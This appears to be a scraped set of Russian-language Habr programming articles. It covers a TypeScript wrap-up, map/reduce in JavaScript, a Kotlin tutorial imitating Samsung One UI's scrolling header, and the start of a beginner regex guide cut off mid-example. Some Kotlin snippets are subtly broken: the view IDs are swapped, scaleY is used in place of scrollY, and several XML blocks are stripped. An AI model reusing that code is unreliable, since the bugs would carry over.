Это нельзя назвать новой возможностью TypeScript, но, учитывая то, что мы здесь говорим о TypeScript как об инструменте, [TypeScript Playground](https://www.typescriptlang.org/play) можно назвать эффективным инструментом для быстрой проверки каких-либо TypeScript-конструкций и просмотра JavaScript-кода, в который превращаются эти конструкции. Большинство примеров, приведённых здесь, проверены именно в TypeScript Playground. Теперь эта среда поддерживает возможность выбора конкретной версии TypeScript (в том числе она поддерживает и бета-версии). В её состав включены несколько примеров, которые помогут начать работу с TypeScript новичкам.
Итоги
-----
TypeScript — это инструмент, который помогает писать более качественный и выразительный JavaScript-код. Вспомогательные средства TypeScript упрощают решение непростых задач, вроде рефакторинга и переименования сущностей, которые в обычном JavaScript решаются гораздо сложнее. В TypeScript постоянно появляются новые механизмы, наподобие `Omit` и `as const`. В языке можно наблюдать постоянное улучшение поддержки сложных типов. TypeScript оперативно реализует новейшие возможности JavaScript. Именно поэтому многие выбирают TypeScript, воспринимая его как инструмент, язык и экосистему.
**Уважаемые читатели!** Какие новые возможности TypeScript кажутся вам наиболее интересными?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/493712/ | null | ru | null |
# Использование map и reduce в функциональном JavaScript
*Предлагаем вашему вниманию переводной материал об использовании map и reduce в функциональном JavaScript. Эта статья будет интересна в первую очередь начинающим разработчикам.*
За всеми этими разговорами о новых стандартах легко забыть о том, что именно ECMAScript 5 подарил нам ряд инструментов, благодаря которым мы сегодня можем использовать функциональное программирование в JavaScript. Например, нативные методы [map()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) и [reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) на базе JS-объекта `Array`. Если вы до сих пор не пользуетесь `map()` и `reduce()`, то сейчас самое время начать. Наиболее современные JS-платформы нативно поддерживают ECMAScript 5. Использование этих методов позволит сделать ваш код гораздо чище, читабельнее и удобнее в обслуживании. `map()` и `reduce()` помогут вам встать на путь более элегантной функциональной разработки.
Замечание по производительности
-------------------------------
Безусловно, читабельность и обслуживаемость кода не должны снижать производительность, если этого требует ситуация. Современные браузеры [эффективнее выполняют](http://jsperf.com/fastest-array-loops-in-javascript/335) более громоздкие традиционные конструкции, например, циклы.
Попробуйте следующую методику: сначала напишите код, исходя из критериев читабельности и обслуживаемости, а затем оптимизируйте его производительность, если в этом есть реальная потребность. Избегайте преждевременной оптимизации.
Также стоит отметить, что применение методов наподобие `map()` и `reduce()` позволит извлечь больше преимуществ из улучшений JS-движка, по мере того, как браузеры будут оптимизироваться для их использования. Если у вас нет проблем с производительностью, то лучше писать код с оптимистическим расчётом на будущее. А приёмы повышения производительности, делающие код менее опрятным, оставьте на потом, когда в них возникнет потребность.
Использование map
-----------------
Маппинг — фундаментальная методика в функциональном программировании. Она применяется для оперирования всеми элементами массива с целью создания другого массива той же длины, но с преобразованным содержимым.
Чтобы было понятнее, давайте рассмотрим простой пример. Допустим, у вас есть массив слов, и вам нужно преобразовать его в массив, содержащий длины всех слов исходного массива. Да, это не самый актуальный случай, но понимание того, как работает этот инструмент, поможет вам применять его в дальнейшем для улучшения своего кода.
Вероятно, вы уже знаете, как выполнить описанную задачу с помощью цикла `for`. Например, так:
```
var animals = ["cat","dog","fish"];
var lengths = [];
var item;
var count;
var loops = animals.length;
for (count = 0; count < loops; count++){
item = animals[count];
lengths.push(item.length);
}
console.log(lengths); //[3, 3, 4]
```
Здесь определено несколько переменных:
* массив `animals` содержит исходные слова,
* пустой массив `lengths` будет содержать результаты выполнения операции,
* переменная `item` используется для временного хранения каждого из элементов массива, которым мы манипулируем во время выполнения каждого цикла,
* массив `for` содержит внутреннюю переменную `count` и оптимизирован с помощью переменной loops.
Далее мы итерируем каждый элемент массива `animals`: вычисляем длину и помещаем в массив `lengths`.
*Примечание: эту задачу можно было бы решить лаконичнее, без переменной элемента и промежуточного присваивания, передавая длину `animals[count]` напрямую в массив `lengths`. Код стал бы немного короче, но и менее читабельным даже в этом простом примере. Аналогично, чтобы слегка повысить производительность, можно было бы использовать известную длину массива `animals` для инициализации массива `lengths` как `new Array(animals.length)`, а затем вместо применения `push` внести элементы по индексу. Но это тоже сделало бы код немного менее понятным. В общем, всё зависит от того, как вы будете использовать свой код в реальных проектах.*
Технически это правильный подход. Он будет работать на любом стандартном JS-движке. Но когда вы узнаете про `map()`, то классический способ сразу покажется слишком громоздким.
Вот как можно решить нашу задачу с помощью `map()`:
```
var animals = ["cat","dog","fish"];
var lengths = animals.map(function(animal) {
return animal.length;
});
console.log(lengths); //[3, 3, 4]
```
Здесь мы опять начинаем с переменной для массива `animals`. Но кроме неё мы объявляем только `lengths`, и напрямую присваиваем ей результат, полученный при маппинге анонимной встраиваемой функции в каждый элемент массива `animals`. Анонимная функция выполняет операцию по каждому животному и возвращает длину. В конце концов массив `lengths`, содержащий длины каждого слова, становится такой же длины, как и исходный `animals`.
Обратите внимание, что при таком подходе:
* Код получается гораздо короче.
* Нужно объявлять гораздо меньше переменных. Следовательно, мы создаём меньше шума в глобальном пространстве имён, снижая вероятность возникновения коллизий, если другая часть того же кода использует переменные с теми же именами.
* Ни одной переменной не нужно менять своё значение от начала и до конца цикла. По мере изучения функционального программирования вы будете всё больше ценить изящную силу использования констант и неизменяемых переменных. И начинать никогда не поздно.
Ещё одно преимущество этого подхода заключается в том, что мы можем сделать его гибче, разделив именованную функцию. При этом код станет чище. Анонимные встраиваемые функции затрудняют повторное использование кода и могут выглядеть неопрятно. Можно было бы определить именованную функцию `getLength()` и использовать её следующим образом:
```
var animals = ["cat","dog","fish"];
function getLength(word) {
return word.length;
}
console.log(animals.map(getLength)); //[3, 3, 4]
```
Посмотрите, насколько чище стал выглядеть код. Просто начните применять маппинг, и сразу выйдете на новый уровень функционального программирования.
Что такое функтор?
------------------
Любопытно, что при добавлении маппинга в объект массива, ECMAScript 5 превращает основной тип массива в полный функтор. Это делает функциональное программирование ещё более доступным.
Согласно классическим определениям функционального программирования, функтор удовлетворяет трём критериям:
1. Содержит набор значений.
2. Реализует функцию `map` для оперирования каждым элементом.
3. Функция `map` возвращает функтор того же размера.
Если хотите больше узнать о функторах, можете посмотреть [видео](https://medium.com/@mpjme/functors-i-was-wrong-funfunfunction-video-11-5f794a1ca246#.m1ni6z7vx) Маттиаса Питера Йоханссона.
Использование reduce
--------------------
Метод [reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) впервые появился в ECMAScript 5. Он аналогичен `map()`, за исключением того, что вместо создания другого функтора `reduce()` производит единичный результат, который может быть любого типа. Например, вам нужно получить в виде числа сумму длин всех слов в массиве `animals`. Вероятно, вы сразу напишете примерно так:
```
var animals = ["cat","dog","fish"];
var total = 0;
var item;
for (var count = 0, loops = animals.length; count < loops; count++){
item = animals[count];
total += item.length;
}
console.log(total); //10
```
После описания начального массива, мы создаём переменную `total` для подсчёта суммы, и присваиваем ей ноль. Также создаём переменную `item`, в которой, по мере выполнения цикла `for`, сохраняется результат каждой итерации над массивом `animals`. В качестве счётчика циклов используется переменная `count`, а `loops` применяется для оптимизации итераций. Запускаем цикл `for`, итерируем все слова в массиве `animals`, присваивая значение каждого из них переменной `item`, и прибавляем длины слов к нарастающему итогу.
Опять же, чисто технически здесь всё в порядке. Обработали массив, получили результат. Но с помощью метода `reduce()` можно это сделать гораздо проще:
```
var animals = ["cat","dog","fish"];
var total = animals.reduce(function(sum, word) {
return sum + word.length;
}, 0);
console.log(total);
```
Здесь мы определяем новую переменную `total` и присваиваем ей значение результата, полученного после применения `reduce` к массиву `animals` с использованием двух параметров: анонимной встраиваемой функции и нарастающего итога. `reduce` берёт каждый элемент массива, применяет к нему функцию и добавляет получаемый результат к нарастающему итогу, которая затем передаётся в следующую итерацию. Подставляемая функция получает два параметра: нарастающий итог и текущее обрабатываемое слово из массива. К длине этого слова функция добавляет текущее значение `total`.
Обратите внимание, что мы обнуляем второй аргумент `reduce()`, значит `total` является числом. Метод `reduce()` будет работать и без второго аргумента, но результат может отличаться от ожидаемого. Попробуйте сами определить, какую логику использует JavaScript при исключении `total`.
Возможно, описанный подход выглядит слишком сложным. Это следствие интегрированного определения встраиваемой функции в вызываемом методе `reduce()`. Давайте зададим именованную функцию вместо анонимной встраиваемой:
```
var animals = ["cat","dog","fish"];
var addLength = function(sum, word) {
return sum + word.length;
};
var total = animals.reduce(addLength, 0);
console.log(total);
```
Получается немного длиннее, но это не всегда недостаток. В данном случае становится понятнее, что происходит с методом `reduce()`. Он получает два параметра: функцию, которая применяется к каждому элементу массива, и начальное значение нарастающего итога. В данном случае мы передаём имя новой функции `addLength` начальное значение (нулевое) нарастающего итога. Функция `addLength()` также получает два параметра: нарастающий итог и строковое значение.
Заключение
----------
Привыкнув регулярно использовать `map()` и `reduce()`, вы сможете сделать свой код чище, гибче и легче в обслуживании. Это откроет вам дорогу к использованию других функциональных подходов в JavaScript.
Помимо `map()` и `reduce()` в ECMAScript 5 появились и другие новые методы. Вероятно, улучшение качества кода и удовольствие от разработки, которое вы прочувствуете, намного перевесят временное ухудшение производительности. Используйте функциональные подходы и измеряйте влияние на производительность в реальных проектах, вместо того, чтобы думать, а нужны ли `map()` и `reduce()` в вашем приложении. | https://habr.com/ru/post/324342/ | null | ru | null |
# One UI своими руками в домашних условиях
One UI существует уже как 3 года (с 2018), а уроков по тому, как сделать похожий дизайн, в мире android, я так и не нашёл. Не порядок… Сегодня же, мы начнём прокладывать этот тяжёлый и тернистый путь.
Зарождение Siesta
-----------------
Я думаю, разделить статьи на версии нашего домашнего One UI. Благодаря этому, я буду иметь уникальную возможность общаться и отвечать на интересующие вас вопросы. Возможно, вы знаете более оптимизированный и лучший способ реализовать что-либо и в следующей статье (версии нашего One UI - Siesta) мы можем это применить.
В результате всех наших страданий мы получим вот такое приложение на выходе. Да, это не копия Samsung оболочки (прям совсем), но наша цель – унаследовать лишь идею использования одной рукой, а не скопировать шрифты и иконки…
Идея One UI
-----------
Давайте взглянем на стандартное приложение настроек в OneUI.
Весь экран можно разделить на зоны, где 1/3 экрана занимает огромный текст, показывающий на какой вкладке настроек мы находимся. Благодаря ему пользователи не должны тянуться на верхние края экрана. Затем идёт 2-ая зона, назовём её “панель управления”, эта зона прокручивается пока не достигнет верхнего края экрана, после чего будет примагничена, дабы не улететь за его края. В последнюю зону входит весь остальной контент, с которым будет взаимодействовать пользователь.
Это и есть главная идея OneUI которую мы должны повторить.
Создание и настройка проекта
----------------------------
Начнём с создания нового проекта, укажем минимальные требования Android 8.0, так как начиная с данной версии в TextView можно присвоить AutoSize параметр. Если вам необходимо работать с более ранними версиями Android – не беда. Существует библиотека поддержки в таких случаях.
Распространение AndroidИнформация взята из Android Studiohttps://www.appbrain.com/stats/top-android-sdk-versionsFrontend - создание зон
-----------------------
Итак, перед нами пустое Activity. Родительским элементом будет являться RelativeLayout, потому что нам необходимо поставить “панель управления” на ScrollView. После чего создаём сам ScrollView. В ScrollView может находится лишь один дочерний элемент, этим элементом будет являться LinearLayout, т.к. он позволяет распределять элементы последовательно. В примере я вставил часть кода, чтобы вы понимали наглядно о чём идёт речь.
```
xml version="1.0" encoding="utf-8"?
```
1 зона - theBigText
-------------------
Теперь необходимо создать тот самый большой текст. Дадим ему id, строгую высоту в 250dp, установим параметр autoSizeTextType=”uniform” для автоматического изменения размера, gravity=”center” для центрирования, пару padding’ов для красоты и жирный шрифт.
2 зона - "панель управления"
----------------------------
Теперь изменим нашу панель управления.
Добавим id, установим строгую высоту в 50dp, orientation=”horizontal” для правильного отображения элементов и layout\_marginTop=”250dp” (в размер нашего главного текста, чтобы быть ровно под ним). Мы не можем установить атрибуты, обращающиеся напрямую к theBigText, т.к. он является дочерним элементом ScrollView, поэтому приходится ставить строгие значения. Заполним нашу “панель управления”. Вставим в неё TextView и установим для неё атрибуты: gravity=”center\_vertical”, textSize=”30sp” и alpha=”0” (ведь текст должен быть виден только, когда панель прокручена вверх)
ImageView: установим строгий размер в 40dp, gravity=”center\_vertical”, alpha=”0.7”, установим картинку компаса и присоединим к правой части экрана.
Опять же, все наглядные примеры находятся ниже.
```
```
Теперь мы столкнулись с проблемой. Наша “панель инструментов” занимает место, а если мы добавим любой элемент в ScrollView, то они будут пересекаться, поэтому, мы добавим пустой View, который будет съедать нужное нам под 2-ую зону место.
3 зона - контент
----------------
Фронтенд главного Activity завершён. Теперь, давайте перейдём к заполнению 3-й зоны. Зоны контента. На 1-м скриншоте, можно было заметить, что зона контента состоит из “скруглённых прямоугольников”, давайте их повторим.
Для этого создадим отдельный LayoutResource под именем “block”. Он не будет иметь бэкенд, лишь xml файл.
CardView подойдёт под наш блок как никто лучше! Дадим нужные параметры CardView и заполним его картинкой и текстом. Все параметры схожи с предыдущими, поэтому повторно объяснять их не вижу смысла.
```
xml version="1.0" encoding="utf-8"?
```
С фронтендом покончено, теперь можно переходить к самому интересному!
Backend
-------
Перед setContentView я предлагаю внедрить несколько параметров. Все комментарии переносятся в код.
```
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
supportActionBar?.hide()//Убирает верхний бар с названием приложения
AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_NO)//Ставит светлую тему по умолчанию
window.navigationBarColor = resources.getColor(R.color.black)//Ставит чёрный цвет навигационной панели
setContentView(R.layout.activity_main)
}
}
```
Теперь же, нужно создать пару глобальных переменных
```
private lateinit var scrollView: ScrollView
private lateinit var panel: RelativeLayout
private lateinit var panelText: TextView
private lateinit var theBigText: TextView
private lateinit var compassIcon: ImageView
private lateinit var scrollLinearLayout: LinearLayout
```
После setContentView инициализируем наши переменные
```
scrollView = findViewById(R.id.scrollView)
panel = findViewById(R.id.panel)
panelText = findViewById(R.id.theBigText)
theBigText = findViewById(R.id.panelText)
compassIcon = findViewById(R.id.compassIcon)
scrollLinearLayout = findViewById(R.id.scrollLinearLayout)
```
Теперь, мы должны получить MarginTop нашей “панели управления” в пикселях, т.к. отслеживать теперь мы будем только их. Чтобы это сделать добавляем в глобальные переменные maxScroll.
```
private var maxScroll = 0
private var scrollY = 0
```
И находим сам отступ
```
val params =
panel.layoutParams as ViewGroup.MarginLayoutParams//Высчитывает максимально возможный скролл для огромного текста
maxScroll = params.topMargin
```
Давайте заполним 3 зону контентом.
Для этого создадим функцию addCardToScroll. Все комментарии переехали в код, если вдруг что-то непонятно, отвечу в комментариях.
```
private fun addCardToScroll(_input: String) {
val blockView = View.inflate(this, R.layout.block, null)//Создаём 1 block
val blockText = blockView.findViewById(R.id.text)//Инициализируем поле Text
val blockImage = blockView.findViewById(R.id.image)//Инициализируем поле Image
var isCheck = false
blockText.text = \_input
blockImage.setImageResource(R.color.white)
scrollLinearLayout.addView(blockView)//Добавляем block в scrollView
val params =
blockView.layoutParams as? ViewGroup.MarginLayoutParams
params?.setMargins(20, 12, 20, 12)//Устанавливаем Margin
blockView.layoutParams = params//Присваиваем новые параметры
blockView.elevation = 20f//Поднимаем карточку вверх для появления тени вокруг
blockText.setAutoSizeTextTypeUniformWithConfiguration(
1, 22, 1, TypedValue.COMPLEX\_UNIT\_DIP)//С помощью кода устанавливаем атрибут AutoSize
//Присваиваем слушатель
blockView.setOnClickListener {
isCheck = !isCheck
if (isCheck)
blockImage.setImageResource(R.drawable.checkyes)//Заменяем иконку
else
blockImage.setImageResource(R.drawable.checkno)
animateView(blockImage)//Анимируем иконку
}
}
//Анимация иконок
private fun animateView(view: ImageView) {
when (val drawable = view.drawable) {
is AnimatedVectorDrawable -> {
drawable.start()
}
}
}
```
Мои картинки – анимации xml. Это позволяет добавить жизни в наше приложение. Вы же, можете заменить их на любую статичную картинку. Весь мой код, включая анимационные картинки, вы сможете найти на GitHub.
Уже хочется проверить, как работает наше приложение, не правда ли?
Для этого добавим в конце нашего onCreate() такие строчки, чтобы заполнить 3 зону контентом и запустим наше приложение.
```
for(index in 0..10){
addCardToScroll(index.toString())
}
```
Оживляем "панель управления"
----------------------------
Что же, приложение работает, анимации – тоже. Хорошо. А вот наша “панель управления” стоит на своём и никуда не двигается – логично, мы ведь и не прописали в каких случаях она должна двигаться. Но сначала, я бы изменил цвета нашего статус бара. Для этого, необходимо зайти в value->colors и изменить цвета. Можете использовать мой “элегантный” набор.
```
xml version="1.0" encoding="utf-8"?
#000000
#4E4E4E
#505050
#717171
#515151
#FF000000
#FFFFFFFF
```
Теперь перейдём к “панели управления“.
Наша цель -> узнать когда был произведён скролл. Повесить своего рода слушатель на ScrollView. Это делается благодаря этим строчкам.
```
scrollView.viewTreeObserver.addOnScrollChangedListener(ViewTreeObserver.OnScrollChangedListener { //Включается когда производится скролл
scrollEngine()
})
```
scrollEngine() – функция двигающая нашу “панель инструментов”, давайте напишем её.
```
private fun scrollEngine() {
val upDown: Boolean = scrollView.scrollY < scrollY// true if scroll up
val params =
panel.layoutParams as ViewGroup.MarginLayoutParams//Параметры LinearLayout MiniMain
val temp: Int = if (upDown) {//Считаем на сколько нужно подвинуть нашу panel
if (scrollView.scrollY <= maxScroll) {
params.topMargin + (scrollY - scrollView.scrollY)
} else
0
} else
params.topMargin - scrollView.scrollY + scrollY
if ((temp < 0) && !(upDown)) {//Двигаем panel в зависимости от прокрутки
params.topMargin = 0
} else if ((temp > maxScroll) && (upDown)) {
params.topMargin = maxScroll
} else {
params.topMargin = temp
}
panel.layoutParams = params//Присваиваем изменения
scrollY = scrollView.scrollY
}
```
Выглядит страшно, но если посидеть 5 минут и разобраться как это работает, то всё сразу станет ясно. Исчерпывающие комментарии находятся непосредственно в коде.
Давайте запустим и проверим результат.
Как мы видим, всё работает прекрасно, не учитывая пару багов\*. Ползунок, показывающий где мы находимся в ScrollView, пересекается с нашей “панелью инструментов”. И самым простым решением будет отключить его насовсем. Делается это в xml файле таким параметром в ScrollView.
```
android:scrollbars="none"
```
2-й проблемой является то, что наша панель периодически сливается с зоной контента. Эту проблему можно решить динамическим добавлением тенью.
```
private fun alphaElevation() {
val params =
panel.layoutParams as ViewGroup.MarginLayoutParams
panelText.alpha =
(1 - (scrollY.toFloat() * 100.0 / maxScroll.toFloat() / 100.0) / 0.5).toFloat()//Плавное исчезновение/появление panelText
theBigText.alpha = (scrollY.toFloat() * 100.0 / maxScroll.toFloat() / 100.0).toFloat()//Плавное исчезновение/появление большого текста
//Если вдруг захотите, чтобы иконка тоже появлялась плавно, раскомментируете данный участок
// var settingsAlpha =
// ((scrollY.toFloat() * 100.0 / maxScroll.toFloat() / 100.0)).toFloat()
// if (settingsAlpha < 0.7f)
// CompasIcon.alpha = settingsAlpha
// else
// CompasIcon.alpha = 0.7f
//Если panel достигла верхнего края экрана -> добавить тень
if (params.topMargin == 0)
panel.elevation = 10f
else
panel.elevation = 0.1f
}
```
Теперь наш слушатель ScrollView должен выглядеть так.
```
scrollView.viewTreeObserver.addOnScrollChangedListener(ViewTreeObserver.OnScrollChangedListener { //Включается когда производится скролл
scrollEngine()
alphaElevation()
})
```
И снова проверим результат
Магия магнитов
--------------
Потрясающе, но есть одно но. “Панель инструментов” имеет 2 стандартных положения:
1. Когда panel примагничено к верхнему краю экрана.
2. Изначальное положение.
Так вот, в настоящем OneUI ScrollView смещается, если “панель инструментов” находится между этими положениями. И смещается оно в ту сторону, к которой ближе находится. Звучит возможно не понятно, но на следующей gif анимации всё будет показано.
Дополнительная проблема в том, что нам недостаточно отслеживать, где находится “панель инструментов”, нам необходимо знать, когда пользователь перестал взаимодействовать с экраном. Проще говоря - поднял палец. И для плавности работы и более лучшего внешнего вида, нам придётся применить задержку в какое-то количество секунд, ведь ScrollView может быть ещё в движении.
Начнём решать проблему с самых низов.
Необходимо узнать, когда пользователь прикасался к экрану, а когда нет. В этом нам поможет специальный слушатель.
```
//Проверка нажатия на экран
@SuppressLint("ClickableViewAccessibility")
fun touchFun() {
scrollView.setOnTouchListener { v, event ->
val action = event.action
when (action) {
MotionEvent.ACTION_DOWN -> {
false
}
MotionEvent.ACTION_UP -> {
threadTimer()
false
}
MotionEvent.ACTION_CANCEL -> {
false
}
MotionEvent.ACTION_OUTSIDE -> {
false
}
else -> false
}
}
}
```
Проверка на нажатие есть. Теперь необходимо создать функцию, которая будет плавно примагничивать и двигать наш ScrollView.
```
//Таймер+приведение panel в стандартное положение
private fun threadTimer() {
var lastScrollY = 0
//Мы не имеем права использовать заморозки в главном UI потоке, поэтому вынуждены создать новый
Thread {
//Пока новое положение ScrollView не сравнится со старым
while (scrollView.scaleY.toInt() != lastScrollY) {
lastScrollY = scrollView.scrollY
//Пол секунды
Thread.sleep(500)
//Если текущее положение не равняется предыдущему
if (scrollView.scaleY.toInt() != lastScrollY)
lastScrollY = scrollView.scaleY.toInt()
}
//Если положение ScrollView меньше, чем максимальное положение panel
if (scrollY < maxScroll) {
//Елси ScrollView ближе к максимальному значению panel
if (scrollY >= maxScroll / 3)//Плавный скролл
//Так как мы не можем изменять UI не из главного потока, мы используем post
scrollView.post { scrollView.smoothScrollTo(0, maxScroll) }
//Если ScrollView ближе к верхнему краю экрана
else if (scrollY < maxScroll / 3)
//Так как мы не можем изменять UI не из главного потока, мы используем post
scrollView.post { scrollView.smoothScrollTo(0, 0) }
}
}.start()
}
```
Итог
----
Вот теперь это выглядит потрясающе, ну на мой сугубо личный взгляд, и мы смогли повторить ту самую идею, которую несёт в себе оболочка OneUI. Так же ли всё работает у Samsung? Конечно же нет. Но тот способ, который я описал, позволит вам лучше понять всё происходящее здесь. Так как у нас есть свои собственные отличительные черты, я предлагаю назвать наше дизайнерское решение *Siesta 1.0*. Надеюсь, вам поможет данная статья, т.к. в своё время, её мне очень не хватало и во всём разбираться пришлось с 0. Комментируете, если что-то не понятно, ну и конечно делитесь своим мнением, как вам моё детище и One UI.
Данное приложение вы можете найти на GitHub. Бонусом идёт пример приложения использующее Siesta 1.0, оно спрятано в подсказке.
* [Ссылка на GitHub](https://github.com/MixKage/Siesta)
* [Тестовое приложение использующее Siesta 1.0](https://play.google.com/store/apps/details?id=com.nonamecompany.valudas) | https://habr.com/ru/post/574904/ | null | ru | null |
# Регулярные выражения для самых маленьких
Привет, Хабр.
Меня зовут Виталий Котов и я немного знаю о регулярных выражениях. Под катом я расскажу основы работы с ними. На эту тему написано много теоретических статей. В этой статье я решил сделать упор на количество примеров. Мне кажется, что это лучший способ показать возможности этого инструмента.
Некоторые из них для наглядности будут показаны на примере языков программирования PHP или JavaScript, но в целом они работают независимо от ЯП.
Из названия понятно, что статья ориентирована на самый начальный уровень — тех, кто еще ни разу не использовал регулярные выражения в своих программах или делал это без должного понимания.
В конце статьи я в двух словах расскажу, какие задачи нельзя решить регулярными выражениями и какие инструменты для этого стоит использовать.
Поехали!

Вступление
----------
**Регулярные выражения** — язык поиска подстроки или подстрок в тексте. Для поиска используется паттерн (шаблон, маска), состоящий из символов и метасимволов (символы, которые обозначают не сами себя, а набор символов).
Это довольно мощный инструмент, который может пригодиться во многих случая — поиск, проверка на корректность строки и т.д. Спектр его возможностей трудно уместить в одну статью.
В PHP работа с регулярными выражениями заключается в наборе функций, из которых я чаще всего использую следующие:
* preg\_match (<http://php.net/manual/en/function.preg-match.php>)
* preg\_match\_all (<http://php.net/manual/en/function.preg-match-all.php>)
* preg\_replace (<http://php.net/manual/en/function.preg-replace.php>)
Для работы с ними нужен текст, в котором мы будем искать или заменять подстроки, а также само регулярное выражение, описывающее правило поиска.
Функции на match возвращают число найденных подстрок или false в случае ошибок. Функция на replace возвращает измененную строку/массив или null в случае ошибки. Результат можно привести к bool (false, если не было найдено значений и true, если было) и использовать вместе с if или assertTrue для обработки результата работы.
В JS чаще всего мне приходится использовать:
* match (<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match>)
* test (<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test>)
* replace (<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace>)
Все дальнейшие примеры предлагаю смотреть в <https://regex101.com/>. Это удобный и наглядный интерфейс для работы с регулярными выражениями.
Пример использования функций
----------------------------
В PHP регулярное выражение — это строка, которая начинается и заканчивается символом-разделителем. Все, что находится между разделителями и есть регулярное выражение.
Часто используемыми разделителями являются косые черты “/”, знаки решетки “#” и тильды “~”. Ниже представлены примеры шаблонов с корректными разделителями:
* /foo bar/
* #^[^0-9]$#
* %[a-zA-Z0-9\_-]%
Если необходимо использовать разделитель внутри шаблона, его нужно проэкранировать с помощью обратной косой черты. Если разделитель часто используется в шаблоне, в целях удобочитаемости, лучше выбрать другой разделитель для этого шаблона.
* /http:\/\//
* #http://#
В JavaScript регулярные выражения реализованы отдельным объектом RegExp и интегрированы в методы строк.
Создать регулярное выражение можно так:
```
let regexp = new RegExp("шаблон", "флаги");
```
Или более короткий вариант:
```
let regexp = /шаблон/; // без флагов
```
```
let regexp = /шаблон/gmi; // с флагами gmi (изучим их дальше)
```
Пример самого простого регулярного выражения для поиска:
```
RegExp: /o/
Text: hello world
```
В этом примере мы просто ищем все символы “o”.
В PHP разница между preg\_match и preg\_match\_all в том, что первая функция найдет только первый match и закончит поиск, в то время как вторая функция вернет все вхождения.
Пример кода на PHP:
```
php
$text = ‘hello world’;
$regexp = ‘/o/’;
$result = preg_match($regexp, $text, $match);
var_dump(
$result,
$match
);
</code
```
```
int(1) // нам вернулось одно вхождение, т.к. после функция заканчивает работу
array(1) {
[0]=>
string(1) "o" // нам вернулось вхождение, аналогичное запросу, так как метасимволов мы пока не использовали
}
```
Пробуем то же самое для второй функции:
```
php
$text = ‘hello world’;
$regexp = ‘/o/’;
$result = preg_match_all($regexp, $text, $match);
var_dump(
$result,
$match
);
</code
```
```
int(2)
array(1) {
[0]=>
array(2) {
[0]=>
string(1) "o"
[1]=>
string(1) "o"
}
}
```
В последнем случае функция вернула все вхождения, которые есть в нашем тексте.
Тот же пример на JavaScript:
```
let str = 'Hello world';
let result = str.match(/o/);
console.log(result);
```
```
["o", index: 4, input: "Hello world"]
```
Модификаторы шаблонов
---------------------
Для регулярных выражений существует набор модификаторов, которые меняют работу поиска. Они обозначаются одиночной буквой латинского алфавита и ставятся в конце регулярного выражения, после закрывающего “/”.
* i — символы в шаблоне соответствуют символам как верхнего, так и нижнего регистра.
* m — по умолчанию текст обрабатывается, как однострочная символьная строка. Метасимвол начала строки '^' соответствует только началу обрабатываемого текста, в то время как метасимвол конца строки '$' соответствует концу текста. Если этот модификатор используется, метасимволы «начало строки» и «конец строки» также соответствуют позициям перед произвольным символом перевода и строки и, соответственно, после, как и в самом начале, и в самом конце строки.
Об остальных модификаторах, используемых в PHP, можно [почитать тут](http://php.net/manual/en/reference.pcre.pattern.modifiers.php).
В JavaScript — [тут](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp).
О том, какие вообще бывают модификаторы, можно [почитать тут](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D0%B5_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F#%D0%9C%D0%BE%D0%B4%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80%D1%8B).
Пример предыдущего регулярного выражения с модификатором на JavaScript:
```
let str = "hello world \
How is it going?"
let result = str.match(/o/g);
console.log(result);
```
```
["o", "o", "o", "o"]
```
Метасимволы в регулярных выражениях
-----------------------------------
Примеры по началу будут довольно примитивные, потому что мы знакомимся с самыми основами. Чем больше мы узнаем, тем ближе к реалиям будут примеры.
Чаще всего мы заранее не знаем, какой текст нам придется парсить. Заранее известен только примерный набор правил. Будь то пинкод в смс, email в письме и т.п.
Первый пример, нам надо получить все числа из текста:
```
Текст: “Привет, твой номер 1528. Запомни его.”
```
Чтобы выбрать любое число, надо собрать все числа, указав “[0123456789]”. Более коротко можно задать вот так: “[0-9]”. Для всех цифр существует метасимвол “\d”. Он работает идентично.
Но если мы укажем регулярное выражение “/\d/”, то нам вернётся только первая цифра. Мы, конечно, можем использовать модификатор “g”, но в таком случае каждая цифра вернется отдельным элементом массива, поскольку будет считаться новым вхождением.
Для того, чтобы вывести подстроку единым вхождением, существуют символы плюс “+” и звездочка “\*”. Первый указывает, что нам подойдет подстрока, где есть как минимум один подходящий под набор символ. Второй — что данный набор символов может быть, а может и не быть, и это нормально. Помимо этого мы можем указать точное значение подходящих символов вот так: “{N}”, где N — нужное количество. Или задать “от” и “до”, указав вот так: “{N, M}”.
Сейчас будет пара примеров, чтобы это уложилось в голове:
```
Текст: “Я хочу ходить на работу 2 раза в неделю.”
Надо получить цифру из тексте.
RegExp: “/\d/”
```
```
Текст: “Ваш пинкод: 24356” или “У вас нет пинкода.”
Надо получить пинкод или ничего, если его нет.
RegExp: “/\d*/”
```
```
Текст: “Номер телефона 89091534357”
Надо получить первые 11 символов, или FALSE, если их меньше.
RegExp: “/\d{11}/”
```
Примерно так же мы работает с буквами, не забывая, что у них бывает регистр. Вот так можно задавать буквы:
* [a-z]
* [a-zA-Z]
* [а-яА-Я]
C кириллицей указанный диапазон работает по-разному для разных кодировок. В юникоде, например, в этот диапазон не входит буква “ё”. Подробнее об этом [тут](https://unicode-table.com/en/blocks/cyrillic/).
Пара примеров:
```
Текст: “Вот бежит олень” или “Вот ваш индюк”
Надо выбрать либо слово “олень”, либо слово “индюк”.
RegExp: “/[а-яА-Я]+/”
```
Такое выражение выберет все слова, которые есть в предложении и написаны кириллицей. Нам нужно третье слово.
Помимо букв и цифр у нас могут быть еще важные символы, такие как:
* \s — пробел
* ^ — начало строки
* $ — конец строки
* | — “или”
Предыдущий пример стал проще:
```
